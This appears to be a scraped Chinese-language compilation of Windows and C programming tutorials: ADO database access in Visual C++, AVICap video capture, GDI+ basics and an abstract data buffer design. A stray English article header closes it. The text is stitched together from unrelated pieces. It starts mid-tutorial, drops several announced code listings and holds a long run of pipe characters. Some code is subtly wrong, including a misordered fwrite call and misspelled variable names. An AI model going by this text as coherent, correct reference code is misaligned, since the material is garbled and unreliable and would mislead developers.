8、使用带参数的命令 Command对象所代表的就是一个Provider能够理解的命令,如SQL语句等。使用Command对象的关键就是把表示命令的语句设置到CommandText属性中,然后调用Command对象的Execute方法就行了。一般情况下在命令中无需使用参数,但有时使用参数,可以增加其灵活性和效率。 (1). 建立连接、命令对象和记录集对象 本例中表示命令的语句就是一个SQL语句(SELECT语句)。SELECT语句中的问号?就代表参数,如果要多个参数,就多放几个问号,每个问号代表一个参数。
要注意命令对象必须与连接对象关联起来才能起作用,本例中将命令对象的ActiveConnection属性设置为连接对象的指针,即为此目的:
(2). 创建参数对象,并给参数赋值
用命令对象的方法来创建一个参数对象,其中的长度参数(第三个)如果是固定长度的类型,就填-1,如果是字符串等可变长度的就填其实际长度。Parameters是命令对象的一个容器,它的Append方法就是把创建的参数对象追加到该容器里。Append进去的参数按先后顺序与SQL语句中的问号从左至右一一对应。 (3). 执行命令打开记录集
但要注意,用Command和Connection对象的Execute方法得到的Recordset是只读的。因为在打开Recordset之前,我们无法设置它的LockType属性(其默认值为只读)。而在打开之后设置LockType不起作用。 我发现用上述方法得到记录集Rs1后,不但Rs1中的记录无法修改,即使直接用SQL语句修改同一表中任何记录都不行。 要想能修改数据,还是要用Recordset自己的Open方法才行,如:
Recordset对象的Open方法真是太好了,其第一个参数可以是SQL语句、表名字、命令对象指针等等。 9、响应ADO的通知事件 通知事件就是当某个特定事件发生时,由Provider通知客户程序,换句话说,就是由Provider调用客户程序中的一个特定的方法(即事件的处理函数)。所以为了响应一个事件,最关键的就是要实现事件的处理函数。 (1). 从ConnectionEventsVt接口派生出一个类 为了响应_Connection的通知事件,应该从ConnectionEventsVt接口派生出一个类:
(2). 实现每一个事件的处理函数(凡是带raw_前缀的方法都把它实现了):
有些方法虽然你并不需要,但也必须实现它,只需简单地返回一个S_OK即可。但如果要避免经常被调用,还应在其中将adStatus参数设置为adStatusUnwantedEvent,则在本次调用后,以后就不会被调用了。 另外还必须实现QueryInterface, AddRef, 和Release三个方法:
(3). 开始响应通知事件
也就是说在连接(Open)之前就做这些事。 (4). 停止响应通知事件
在连接关闭之后做这件事。 VC用ADO访问数据库全攻略一、ADO概述 ADO是Microsoft为最新和最强大的数据访问范例 OLE DB 而设计的,是一个便于使用的应用程序层接口。ADO 使您能够编写应用程序以通过 OLE. DB 提供者访问和操作数据库服务器中的数据。ADO 最主要的优点是易于使用、速度快、内存支出少和磁盘遗迹小。ADO 在关键的应用方案中使用最少的网络流量,并且在前端和数据源之间使用最少的层数,所有这些都是为了提供轻量、高性能的接口。之所以称为 ADO,是用了一个比较熟悉的暗喻,OLE 自动化接口。 OLE DB是一组"组件对象模型"(COM) 接口,是新的数据库低层接口,它封装了ODBC的功能,并以统一的方式访问存储在不同信息源中的数据。OLE DB是Microsoft UDA(Universal Data Access)策略的技术基础。OLE DB 为任何数据源提供了高性能的访问,这些数据源包括关系和非关系数据库、电子邮件和文件系统、文本和图形、自定义业务对象等等。也就是说,OLE DB 并不局限于 ISAM、Jet 甚至关系数据源,它能够处理任何类型的数据,而不考虑它们的格式和存储方法。在实际应用中,这种多样性意味着可以访问驻留在 Excel 电子数据表、文本文件、电子邮件/目录服务甚至邮件服务器,诸如 Microsoft Exchange 中的数据。但是,OLE DB 应用程序编程接口的目的是为各种应用程序提供最佳的功能,它并不符合简单化的要求。您需要的API 应该是一座连接应用程序和OLE DB 的桥梁,这就是 ActiveX Data Objects (ADO)。 二、在VC中使用ADO(开发步骤如下:) 1、引入ADO库文件 使用ADO前必须在工程的stdafx.h头文件里用直接引入符号#import引入ADO库文件,以使编译器能正确编译。代码如下所示: 用#import引入ADO库文件 #import "c:\program files\common files\system\ado\msado15.dll"no_namespaces rename("EOF" adoEOF") BOOL CMyAdoTestApp::InitInstance() _ConnectionPtr pConn; _RecordsetPtr pPtr; _CommandPtr pCommand; 用VC++ 5.0实现视频捕获编程刘 涛 郭 戈 杨玉森
在桌面视频会议、可视电话等多媒体应用中,获得数字视频是一个关键的前提。在Video for Windows(VFW) 出现之前,捕获数字视频是一项极其复杂的工作。Microsoft 的Visual C++自从4.0版就开始支持Video for Windows(简称VFW),这给视频捕获编程带来了很大的方便。关于多媒体应用开发,市面流行资料中介绍较多的是MCI(媒体控制接口),而本文着重介绍的是如何使用Visual C++提供的AVICap窗口类进行视频捕获以及其中涉及到的概念和关键问题。 一、Video for Windows简介 VFW是Microsoft 1992年推出的关于数字视频的一个软件包,它能使应用程序数字化并播放从传统模拟视频源得到的视频剪辑。VFW的一个关键思想是播放时不需要专用硬件,为了解决数字视频数据量大的问题,需要对数据进行压缩。它引进了一种叫AVI的文件标准,该标准未规定如何对视频进行捕获、压缩及播放,仅规定视频和音频该如何存储在硬盘上,在AVI文件中交替存储视频帧和与之相匹配的音频数据。VFW给程序员提供.VBX和AVICap窗口类的高级编程工具, 使程序员能通过发送消息或设置属性来捕获、播放和编辑视频剪辑。现在用户不必专门安装VFW了,Windows95本身包括了Video for Windows1.1,当用户在安装Windows时,安装程序会自动地安装配置视频所需的组件,如设备驱动程序、视频压缩程序等。 VFW主要由以下六个模块组成: (1)AVICAP.DLL:包含了执行视频捕获的函数,它给AVI文件I/O和视频、音频设备驱动程序提供一个高级接口; (2)MSVIDEO.DLL:用一套特殊的DrawDib函数来处理屏幕上的视频操作; (3)MCIAVI.DRV:此驱动程序包括对VFW的MCI命令的解释器; (4)AVIFILE.DLL:支持由标准多媒体I/O(mmio)函数提供的更高的命令来访问.AVI文件; (5)压缩管理器(ICM):管理用于视频压缩-解压缩的编解码器(CODEC); (6)音频压缩管理器ACM:提供与ICM相似的服务,不同的是它适于波形音频。 Visual C++在支持VFW方面提供有vfw32.lib、 msacm32.lib 、winmm.lib等类似的库。特别是它提供了功能强大、简单易行、类似于MCIWnd的窗口类AVICap。AVICap为应用程序提供了一个简单的、基于消息的接口,使之能访问视频和波形音频硬件,并能在将视频流捕获到硬盘上的过程中进行控制。 二、AVICap编程简介 AVICap支持实时的视频流捕获和单帧捕获并提供对视频源的控制。虽然MCI也提供数字视频服务,比如它为显示.AVI文件的视频提供了avivideo命令集,为视频叠加提供了overlay命令集,但这些命令主要是基于文件的操作,它不能满足实时地直接从视频缓存中取数据的要求,对于使用没有视频叠加能力的捕获卡的PC机来说,用MCI提供的命令集是无法捕获视频流的。而AVICap在捕获视频方面具有一定的优势,它能直接访问视频缓冲区,不需要生成中间文件,实时性很强,效率很高。同时,它也可将数字视频捕获到文件。 在视频捕获之前需要创建一个捕获窗,所有的捕获操作及其设置都以它为基础。用AVICap窗口类创建的窗口(通过capCreateCaptureWindow函数创建)被称为"捕获窗",其窗口风格一般为WS_CHILD和WS_VISIBLE。在概念上,捕获窗类似于标准控制(如按钮、列表框等)。捕获窗具有下列功能: (1)将一视频流和音频流捕获到一个AVI文件中; (2)动态地同视频和音频输入器件连接或断开; (3)以Overlay或Preview模式对输入的视频流进行实时显示; (4)在捕获时可指定所用的文件名并能将捕获文件的内容拷贝到另一个文件; (5)设置捕获速率; (6)显示控制视频源、视频格式、视频压缩的对话框; (7)创建、保存或载入调色板; (8)将图像和相关的调色板拷贝到剪贴板; (9)将捕获的一个单帧图像保存为DIB格式的文件。 这里需要解释一下AVICap在显示视频时提供的两种模式: (A)预览(Preview)模式:该模式使用CPU资源,视频帧先从捕获硬件传到系统内存,接着采用GDI函数在捕获窗中显示。在物理上,这种模式需要通过VGA卡在监视器上显示。 (B)叠加(Overlay)模式:该模式使用硬件叠加进行视频显示,叠加视频的显示不经过VGA卡,叠加视频的硬件将VGA的输出信号与其自身的输出信号合并,形成组合信号显示在计算机的监视器上。只有部分视频捕获卡才具有视频叠加能力。 除了利用捕获窗的九个功能外,灵活编写AVICap提供的回调函数还可满足一些特殊需求,比如将宏capCaptureSequenceNoFile同用capSetCallbackOnVideoStream登记的回调函数一起使用可使应用程序直接使用视频和音频数据,在视频会议的应用程序中可利用这一点来获得视频帧,回调函数将捕获的图像传到远端的计算机。应用程序可用捕获窗来登记回调函数(由用户编写,而由系统调用),以便在发生下列情况时它能通知应用程序作出相应的反应: (1)捕获窗状态改变; (2)出错; (3)视频帧和音频缓存可以使用 ; (4)在捕获过程中,其它应用程序处于让步(Yield)地位。 与普通SDK编程一样,视频捕获编程也要用到涉及视频捕获的结构、宏、消息和函数。让编程人员感到轻松的是,发送AVICap窗口消息所能完成的功能都能调用相应的宏来完成。例如,SendMessage(hWndCap,WM_CAP_DRIVER_CONNECT,0,0L) 与capDriverConnect(hWndCap,0)的作用相同,都是将创建的捕获窗同视频输入器件连接起来。 在利用AVICap编程时,应该熟悉与视频捕获相关的结构,下面对常用的四个结构作一简要介绍,对于前三个结构都有对应的函数来设置和获得结构包含的信息: (1)CAPSTATUS:定义了捕获窗口的当前状态,如图像的宽、高等; (2)CAPDRIVERCAPS:定义了捕获驱动器的能力,如有无视频叠加能力、有无控制视频源、视频格式的对话框等; (3)CAPTUREPARMS:包含控制视频流捕获过程的参数,如捕获帧频、指定键盘或鼠标键以终止捕获、捕获时间限制等; (4)VIDEOHDR:定义了视频数据块的头信息,在编写回调函数时常用到其数据成员lpData(指向数据缓存的指针)和dwBufferLength(数据缓存的大小)。 三、AVICap编程示例 下面以一个简单的应用程序为例说明AVICap的使用,该程序对输入的视频流进行实时的显示和捕获,演示需要一个视频捕获卡和摄像头。界面中的菜单项如图1所示。其中,菜单项Display可以以Preview 或Overlay模式显示图像;菜单项Setting可通过弹出AVICap提供的对话框Video Source、Video Format和Video Display来对捕获进行设置,图4 中的图像就是按照图2、图3的对话框所示进行设置、以Preview模式显示的结果;菜单项Capture可将视频流或单帧图像捕获到指定的文件中去。 图1 菜单项 图2 Video Format对话框 图3 Video Source对话框 图4 图2和图3设置下显示的一帧图 由于篇幅有限,下面仅介绍与视频捕获相关的编程。 1、定义全局变量: HWND ghWndCap ; //捕获窗的句柄 CAPDRIVERCAPS gCapDriverCaps ; //视频驱动器的能力 CAPSTATUS gCapStatus ; //捕获窗的状态 2、处理WM_CREATE消息: //创建捕获窗,其中hWnd为主窗口句柄 ghWndCap = capCreateCaptureWindow((LPSTR)"Capture Window",WS_CHILD | WS_VISIBLE, 0, 0, 300,240, (HWND) hWnd, (int) 0); //登记三个回调函数,它们应被提前申明 capSetCallbackOnError(ghWndCap, (FARPROC)ErrorCallbackProc); capSetCallbackOnStatus(ghWndCap, (FARPROC)StatusCallbackProc); capSetCallbackOnFrame(ghWndCap, (FARPROC)FrameCallbackProc); capDriverConnect(ghWndCap,0); // 将捕获窗同驱动器连接 //获得驱动器的能力,相关的信息放在结构变量gCapDriverCaps中 capDriverGetCaps(ghWndCap,&gCapDriverCaps,sizeof(CAPDRIVERCAPS)) ; 3、处理WM_CLOSE消息: //取消所登记的三个回调函数 capSetCallbackOnStatus(ghWndCap, NULL); capSetCallbackOnError(ghWndCap, NULL); capSetCallbackOnFrame(ghWndCap, NULL); capCaptureAbort(ghWndCap);//停止捕获 capDriverDisconnect(ghWndCap); //将捕获窗同驱动器断开 4、处理菜单项Preview: capPreviewRate(ghWndCap, 66); // 设置Preview模式的显示速率 capPreview(ghWndCap, TRUE); //启动Preview模式 5、处理菜单项Overlay: if(gCapDriverCaps.fHasOverlay) //检查驱动器是否有叠加能力 capOverlay(ghWndCap,TRUE); //启动Overlay模式 6、处理菜单项Exit: SendMessage(hWnd,WM_CLOSE,wParam,lParam); 7、分别处理Setting下的三个菜单项,它们可分别控制视频源、视频格式及显示: if (gCapDriverCaps.fHasDlgVideoSource) capDlgVideoSource(ghWndCap); //Video source 对话框 if (gapDriverCaps.fHasDlgVideoFormat) capDlgVideoFormat(ghWndCap); // Video format 对话框 if (CapDriverCaps.fHasDlgVideoDisplay) capDlgVideoDisplay(ghWndCap); // Video display 对话框 8、处理Video Stream菜单项,它捕获视频流到一个.AVI文件: char szCaptureFile[] = "MYCAP.AVI"; capFileSetCaptureFile( ghWndCap, szCaptureFile); //指定捕获文件名 capFileAlloc( ghWndCap, (1024L * 1024L * 5)); //为捕获文件分配存储空间 capCaptureSequence(ghWndCap); //开始捕获视频序列 9、处理Single Frame菜单项: capGrabFrame(ghWndCap); //捕获单帧图像 10、定义三个回调函数: LRESULT CALLBACK StatusCallbackProc(HWND hWnd, int nID, LPSTR lpStatusText) { if (!ghWndCap) return FALSE; //获得捕获窗的状态 capGetStatus(ghWndCap, &gCapStatus, sizeof (CAPSTATUS)); //更新捕获窗的大小 SetWindowPos(ghWndCap, NULL, 0, 0, gCapStatus.uiImageWidth, gCapStatus.uiImageHeight, SWP_NOZORDER | SWP_NOMOVE); if (nID == 0) { // 清除旧的状态信息 SetWindowText(ghWndCap, (LPSTR) gachAppName); return (LRESULT) TRUE; } // 显示状态 ID 和状态文本 wsprintf(gachBuffer, "Status# %d: %s", nID, lpStatusText); SetWindowText(ghWndCap, (LPSTR)gachBuffer); return (LRESULT) TRUE; } LRESULT CALLBACK ErrorCallbackProc(HWND hWnd, int nErrID,LPSTR lpErrorText) { if (!ghWndCap) return FALSE; if (nErrID == 0) return TRUE;// 清除旧的错误 wsprintf(gachBuffer, "Error# %d", nErrID); //显示错误标识和文本 MessageBox(hWnd, lpErrorText, gachBuffer,MB_OK | MB_ICONEXCLAMATION); return (LRESULT) TRUE; } LRESULT CALLBACK FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr) { if (!ghWndCap) return FALSE; //假设fp为一打开的.dat文件指针 fwrite(fp,lpVHdr->lpData,lpVHdr->dwBufferLength,1); return (LRESULT) TRUE ; } 值得注意的是:应在.cpp文件中加入#include 一句,在Link设置中加入vfw32.lib。 上述的回调函数FrameCallbackProc是将视频数据直接从缓冲写入文件,也可利用memcpy函数将视频数据直接拷贝到另一缓存。同理,可定义VideoStreamCallbackProc。capSetCallbackOnVideoStream的使用比capSetCallbackOnFrame稍微复杂一些。在捕获过程中,当一个新的视频缓冲可得时,系统就调用它所登记的回调函数。在缺省情况下,捕获窗在捕获过程中不允许其它应用程序继续运行。为了取消这个限制,可以设置CAPTUREPARMS的成员fYield为TRUE或建立一个Yield回调函数。为了解决潜在的重入(reentry)问题,可在YieldCallbackProc中用PeekMessage过滤掉一些消息,例如鼠标消息。 四、结束语 Visual C++提供的AVICap窗口类为捕获数字视频流及其相关操作提供了很大的方便,灵活编写其中的回调函数可满足实时视频传输的需要,例如应用程序可直接从缓冲中取得数字视频并对其进行压缩编码后实时地传到远端的计算机。笔者所从事的电话网上的可视电话系统就是采用AVICap进行视频捕获的,这种方法同样可用于其它多媒体会议系统中,如ISDN、局域网上的会议系统等。(南京邮电学院70#信箱 刘 涛 郭 戈 杨玉森 210003 ) GDI+编程基础(一)GDI+ Vs GDI作者:李昊
下载源代码 ![]() 二、设备环境 Windows系统是用来给应用程序提供设备独立性的工具,它是windows系统为了处理输出设备而使用的一种内部数据结构,设备环境是windos程序,驱动程序,和输出设备(如打印机,绘图仪)之间的纽带,GDI是一组C++类,它在驱动程序的协助下把数据描绘在硬件上,它位于应用程序与硬件之间,把数据从一方传到另一方。在Visual Studio .NET中Micro$oft解决了GDI中的许多问题,并让它变得易用, GDI的.net版本叫做GDI+。 三、GDI+ GDI+是GDI的下一个版本,它进行了很好的改进,并且易用性更好。GDI的一个好处就是你不必知道任何关于数据怎样在设备上渲染的细节,GDI+更好的实现了这个优点,也就是说,GDI是一个中低层API,你还可能要知道设备,而GDI+是一个高层的API,你不必知道设备。例如你如果要设置某个控件的前景和背景色,只需设置BackColor和ForeColor属性。 四、编程模式的变化 "GDI uses a stateful model, whereas GDI+ uses a stateless"——GDI是有状态的,GDI+是无无状态的。 1、不再使用设备环境或句柄 在使用GDI绘图时,必须要指定一个设备环境(DC),用来将某个窗口或设备与设备环境类的句柄指针关联起来,所有的绘图操作都与该句柄有关。而GDI+不再使用这个设备环境或句柄,取而代之是使用Graphics对象。与设备环境相类似,Graphics对象也是将屏幕的某一个窗口与之相关联,并包含绘图操作所需要的相关属性。但是,只有这个Graphics对象与设备环境句柄还存在着联系,其余的如Pen、Brush、Image和Font等对象均不再使用设备环境。 2、Pen、Brush,Font,Image等对象是图形对象独立的 画笔对象能与用于提供绘制方法的图形对象分开创建于维护,Graphics绘图方法直接将Pen对象作为自己的参数,从而避免了在GDI使用SelectObject进行繁琐的切换,类似的还有Brush、Path、Image和Font等。 3、"当前位置" GDI绘图操作(如画线)中总存在一个被称为"当前位置"的特殊位置。每次画线都是以此当前位置为起始点,画线操作结束之后,直线的结束点位置又成为了当前位置。设置当前位置的理由是为了提高画线操作的效率,因为在一些场合下,总是一条直线连着另一条直线,首尾相接。有了当前位置的自动更新,就可避免每次画线时都要给出两点的坐标。尽管有其必要性,但是单独绘制一条直线的场合总是比较多的,因此GDI+取消这个"当前位置"以避免当无法确定"当前位置"时所造成的绘图的差错,取而代之的是直接在DrawLine中指定直线起止点的坐标。 4、绘制和填充 GDI总是让形状轮廓绘制和填充使用同一个绘图函数,例如Rectangle。轮廓绘制需要一个画笔,而填充一个区域需要一个画刷。也就是说,不管我们是否需要填充所绘制的形状,我们都需要指定一个画刷,否则GDI采用默认的画刷进行填充。这种方式确实给我们带来了许多不便,现在GDI+将形状轮廓绘制和填充操作分开而采用不同的方法,例如DrawRectangle和FillRectangle分别用来绘制和填充一个矩形。 5、区域的操作 GDI提供了许多区域创建函数,如:CreateRectRgn、CreateEllpticRgn、CreateRoundRectRgn、CreatePolygonRgn和CreatePolyPolygonRgn等。诚然,这些函数给我们带来了许多方便。但在GDI+中,由于为了便于将区域引入矩阵变换操作,GDI+简化一般区域创建的方法,而将更复杂的区域创建交由Path接管。由于Path对象是与设备环境分离开来的,因而可以直接在Region构造函数中加以指定。 五、GDI+新特色 GDI+与GDI相比,增加了下列新的特性: 1、渐变画刷 以往GDI实现颜色渐变区域的方法是通过使用不同颜色的线条来填充一个裁剪区域而达到的。现在GDI+拓展了GDI功能,提供线型渐变和路径渐变画刷来填充一个图形、路径和区域,甚至也可用来绘制直线、曲线等。这里的路径可以视为由各种绘图函数产生的轨迹。 2、样条曲线 对于曲线而言,最具实际意义的莫过于样条曲线。样条曲线是在生产实践的基础上产生和发展起来的。模线间的设计人员在绘制模线时,先按给定的数据将型值点准确地"点"到图板上。然后,采用一种称为"样条"的工具(一根富有弹性的有机玻璃条或木条),用压铁强迫它通过这些型值点,再适当调整这些压铁,让样条的形态发生变化,直至取得合适的形状,才沿着样条画出所需的曲线。如果我们把样条看成弹性细梁,那么压铁就可看成作用在这梁上的某些点上的集中力。GDI+的Graphics:: DrawCurve函数中就有一个这样的参数用来调整集中力的大小。除了样条曲线外,GDI+还支持原来GDI中的Bezier曲线。 3、独立的路径对象 在GDI中,路径是隶属于一个设备环境(上下文),也就是说一旦设备环境指针超过它的有效期,路径也会被删除。而GDI+是使用Graphics对象来进行绘图操作,并将路径操作从Graphics对象分离出来,提供一个GraphicsPath类供用户使用。这就是说,我们不必担心路径对象会受到Graphics对象操作的影响,从而可以使用同一个路径对象进行多次的路径绘制操作。 4、矩阵和矩阵变换 在图形处理过程中常需要对其几何信息进行变换以便产生复杂的新图形,矩阵是这种图形几何变换最常用的方法。为了满足人们对图形变换的需求,GDI+提供了功能强大的Matrix类来实现矩阵的旋转、错切、平移、比例等变换操作,并且GDI+还支持Graphics图形和区域(Region)的矩阵变换。 5、Alpha通道合成运算 在图像处理中,Alpha用来衡量一个像素或图像的透明度。在非压缩的32位RGB图像中,每个像素是由四个部分组成:一个Alpha通道和三个颜色分量(R、G和B)。当Alpha值为0时,该像素是完全透明的,而当Alpha值为255时,则该像素是完全不透明。 Alpha混色是将源像素和背景像素的颜色进行混合,最终显示的颜色取决于其RGB颜色分量和Alpha值。它们之间的关系可用下列公式来表示 显示颜色 = 源像素颜色 X alpha / 255 + 背景颜色 X (255 - alpha) / 255 GDI+的Color类定义了ARGB颜色数据类型,从而可以通过调整Alpha值来改变线条、图像等与背景色混合后的实际效果。 6、多图片格式的支持 GDI+提供了对各种图片的打开,存储功能。通过GDI+,我们能够直接将一幅BMP文件存储成JPG或其它格式的图片文件。 除了上述新特性外,GDI+还将支持重新着色、色彩修正、消除走样、元数据以及Graphics容器等特性。 六、VC.net中使用GDI+的方法 在Visual C++.NET使用GDI+一般遵循下列步骤: (1)、在应用程序中添加GDI+的 包含文件gdiplus.h以及附加的类库gdiplus.lib。通常gdiplus.h包含文件添加在应用程序的stdafx.h文件中,而gdiplus.lib可用两种进行添加:第一种是直接在stdafx.h文件中添加下列语句: #pragma comment( lib, "gdiplus.lib" ) 另一种方法是:选择"项目->属性"菜单命令,在弹出的对话框中选中左侧的"链接器->输入"选项,在右侧的"附加依赖项"框中键入gdiplus.lib, ULONG_PTR m_gdiplusToken; 其中,ULONG_PTR是一个DWORD数据类型,该成员变量用来保存GDI+被初始化后在应用程序中的GDI+标识,以便能在应用程序退出后,引用该标识来调用Gdiplus:: GdiplusShutdown来关闭GDI+。 int CGDIPlusApp::ExitInstance()
{
Gdiplus::GdiplusShutdown(m_gdiplusToken);
return CWinApp::ExitInstance();
} (4)、在应用类的InitInstance函数中添加GDI+的初始化代码: BOOL CGDIPlusApp::InitInstance()
{
CWinApp::InitInstance();
Gdiplus::GdiplusStartupInput gdiplusStartupInput;
Gdiplus::GdiplusStartup(&m_gdiplusToken, &gdiplusStartupInput, NULL);
...
} (5)、在需要绘图的窗口或视图类中添加GDI+的绘制代码: void CGDIPlusView::onDraw(CDC *pDC)
{
Graphics graphics( pDC->m_hDC );
GraphicsPath path; // 构造一个路径
path.AddEllipse(50, 50, 200, 100);
// 使用路径构造一个画刷
PathGradientBrush pthGrBrush(&path);
// 将路径中心颜色设为蓝色
pthGrBrush.SetCenterColor(Color(255, 0, 0, 255));
// 设置路径周围的颜色为蓝芭,但alpha值为0
Color colors[] = {Color(0, 0, 0, 255)};
INT count = 1;
pthGrBrush.SetSurroundColors(colors, &count);
graphics.FillRectangle(&pthGrBrush, 50, 50, 200, 100);
LinearGradientBrush linGrBrush(
Point(300, 50),
Point(500, 150),
Color(255, 255, 0, 0), // 红色
Color(255, 0, 0, 255)); // 蓝色
graphics.FillRectangle(&linGrBrush, 300, 50, 200, 100);
} 视频捕获软件开发完全教学内容
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
在 上一节中,您看到了传统缓冲区方案如何会产生多种问题。与此相反,当您创建一个抽象数据缓冲区时,解决方案就变得简单了。
从概念上讲,数据缓冲区在传统方案下是由两个操作创建的:数据缓冲区实体的创建和实际内存的分配。然而事实上,在实际数据变得可用之前,您不需要分配实际的内存 —— 即可以将两个操作分离开来。
最初可以使用内存块的一个空链表来创建一个抽象缓冲区。抽象数据缓冲区仅在实际数据变得可用时才分配内存。释放内存也变成了抽象数据缓冲的责任。考虑到所有这些,集中内存管理和数据复制操作就会带来以下优点:
为了表示一个抽象数据缓冲区,需要声明两个结构化的数据类型:
清单 1. 声明两个结构化的数据类型来表示一个抽象数据缓冲区
typedef struct BufferBlockHeader_st BufferBlockHeader;
struct BufferBlockHeader_st {
BufferBlockHeader * pNextBlock;
};
struct Buffer_st {
long int totalLength;
BufferBlockHeader * pFirstBlock;
short int startPoint;
BufferBlockHeader * pLastBlock;
short int endPoint;
};
typedef struct Buffer_st Buffer;
|
Buffer 包含关于已创建的抽象缓冲区的信息,它还管理内存块的一个链表:
totalLoength 记录当前存储在缓冲区中的字节数。
pFirstBlock 指向该链表中的第一个内存块。
startPoint 记录第一个内存块中第一个字节的偏移位置。
pLostBlock 指向该链表的最后一个内存块。
endPoint 记录最后一个内存块中第一个空闲字节的偏移位置。 您可以向 Buffer 引入一个附加参数,用以指定每个内存块的大小,并且可以在抽象缓冲区的初始化期间,将该参数设置为一个可取的值。这里假设使用默认块大小。
如果分配了的话, BufferBlockHeader 结构中的 pNextBlock 总是指向该链表中的下一个内存块。每个内存块在分配时都包含一个 BufferBlockHeader 头,后面跟着一个用于存储实际数据的缓冲区块。
图 1 描述了一个存储了一些数据的抽象缓冲区。
图 1. 抽象缓冲区的数据结构
M 表示 Buffer 的大小(它通常为 20 字节), B 表示所选择的内存块大小。内存开销大约为 (M+B) 个字节(每个内存块开头的指针忽略不计)。 (M+B) 中的 B 平均起来仅有所使用的第一和最后一个内存块的一半。这个开销几乎保持不变。
在能够缓冲数据之前,必须通过调用下面的 newBuffer() 函数来显式地创建抽象缓冲区:
清单 2 使用 newBuffer() 函数创建抽象缓冲区
Buffer * newBuffer() {
allocate a Buffer structure;
initialize the structure;
}
|
在 清单 2 中,该函数分配了包含一个 Buffer 的内存块,并初始化它的条目以指明它是一个空抽象缓冲区。
相应地,必须在使用抽象缓冲区之后通过调用下面的 freeBuffer() 函数来销毁它:
清单 3 使用 freeBuffer() 函数来销毁抽象缓冲区
void freeBuffer(Buffer * pBuffer /* pointer to the buffer to be freed */
) {
while (there is more memory block in the linked list) {
free the next memory block;
}
free the Buffer structure;
}
|
清单 3 中的函数释放链表中的所有内存块,然后释放由 newBuffer() 分配的 Buffer 。
要逐步向抽象缓冲区追加数据段,可使用以下函数:
清单 4. 逐步向抽象缓冲区追加数据段
long int appendData(Buffer * pBuffer, /* pointer to the abstract buffer */
byte * pInput, /* pointer to the data source */
long int offset, /* offset of the input data */
long int dataLength /* number of bytes of the input data */
) {
while (there is more input data) {
fill the current memory block;
if (there is more input data) {
allocate a new memory block and add it into the linked list;
}
}
}
|
清单 4 中的函数把存储在 pInput[offset..offset+dataLength] 中的字节复制到 pBuffer 所指向的抽象缓冲区中,并在必要时在链表中插入新的内存块,然后返回成功复制到抽象缓冲区中的字节数目。
采用类似的方式,您可以使用以下函数,逐段地从抽象缓冲区读取数据段:
清单 5. 从抽象缓冲区读取数据段
long int readData(Buffer * pBuffer, /* pointer to the abstract buffer */
byte * pOutput, /* pointer to the output byte array */
long int offset, /* offset of the output byte array */
long int arrayLength /* size of available output byte array */
) {
while (there is something more to read and there is room for output) {
read from the first memory block;
if (the first memory block is empty) {
delete the first memory block from the linked list and free its memory;
}
}
}
|
在 清单 5 中,该函数销毁性地从 pBuffer 所指向的抽象缓冲区最多读取 arrayLength 个前导字节,并在内存块变为空时从链表中删除它们,然后返回成功读取的字节数目。
如果需要,您可以实现一个类似 readData() 的函数来允许非销毁性的读取。
实现一个函数来返回当前存储在抽象缓冲区中的字节数目,这样可能会带来好处。
清单 6. 返回抽象缓冲区中的字节数目
long int bytesAvailable(Buffer * pBuffer /* pointer to the abstract buffer */
) {
return totalLength;
}
|
|
您在前面看到了与传统缓冲区方案相关联的几个困难方面。作为一种替代方法,通过集中内存管理和数据复制操作,本文建议的抽象缓冲区立即消除了发生不一致的内存管理和缓冲区溢出的可能性。它还使得代码编写更简单,并避免了前面指出的可能的多次执行问题。为了更好地理解这个解决方案,让我们考察一个使用伪代码的例子,该例子首先使用传统方法,然后使用集中的解决方案。
假设函数 a() 从函数 b() 获取输入数据,但是不知道函数 b() 的大小。您可以让 a() 分配一个固定大小的缓冲区,然后反复调用 b() ,直至 b() 已指出到达了输入数据的结尾,从而避免查询输入数据的大小。
清单 7. 分配固定大小的缓冲区并调用输入数据
int b(byte *buf, int bufSize) {
fill buf;
return size of output;
}
void a() {
byte * buf = malloc(BUFFER_SIZE);
int size;
if (NULL != buf) {
while (there is more data from b()) {
size = b(buf, BUFFER_SIZE);
process data in buf;
}
free(buf);
}
}
|
通过使用抽象缓冲区,代码可简化为:
清单 8. 为抽象缓冲区调用输入数据
void b(Buffer *buf) {
fill buf;
}
void a() {
Buffer * buf = newBuffer();
if (NULL != buf) {
b(buf);
process data in buf;
freeBuffer(buf);
}
}
|
同样,假设函数 a() 从函数 b() 获取输入数据,但是不知道 b() 的大小。为了给 b() 分配足够大的缓冲区, a() 必须对 b() 发出高级发现调用(假设只有 b() 知道大小)。 a() 将类似如下:
int b(byte *buf, int bufSize) {
if (NULL != buf) {
fill buf;
}
return size of output;
}
void a() {
int size = b(NULL, 0);
byte * buf = malloc(size);
if (NULL != buf) {
b(buf, size);
process data in buf;
free(buf);
}
}
|
注意 a() 调用了 b() 两次。
通过使用抽象缓冲区,您可以将代码编写为:
清单 10. 对抽象缓冲区发出单次发现调用
void b(Buffer *buf) {
fill buf;
}
void a() {
Buffer * buf = newBuffer();
if (NULL != buf) {
b(buf);
process data in buf;
freeBuffer(buf);
}
}
|
它仅调用 b() 一次。
|
本文研究了当两个 C 函数使用传统数据缓冲区管理方案进行交互时所产生的问题。在编写大规模交互软件代码时,这样的问题可能会变成主要问题。作为一种替代方案,自我管理的抽象数据缓冲区能够解决那些问题。对于普通 C 程序员来说,实现这种建议的抽象数据缓冲区应该是一项相对容易的任务。
为了从这种解决方案中获益,您必须清楚地定义具体的抽象数据缓冲区接口。采用这样一个接口将简化以后的代码开发。然而,如果要将现有代码移植为使用这样的接口,您必须保持谨慎,并在权衡成本/收益比的同时进行逐个案例的分析。
|
|
高级软件工程师 Xiaoming Zhang 从事过 9 年的学术研究,他于 1998 年放弃大学讲师的职位加入了 IBM。从那以后,他把大多数时间都花在设计和开发针对小型设备的消息传送中间件上。他还对消息传送的数据安全方面特别感兴趣。Xiaoming 从 Wales Swansea 大学获得了计算机语音信号处理专业的博士学位,他已发表了近 30 篇会议和期刊论文,内容涉及语音信号处理、并行数值计算、函数式程序设计的应用程序以及图像处理。 | |
The choices, tradeoffs, and implementations of dynamic allocation
Level: Intermediate
Jonathan Bartlett ( johnnyb@eskimo.com), Director of Technology, New Media Worx
16 Nov 2004
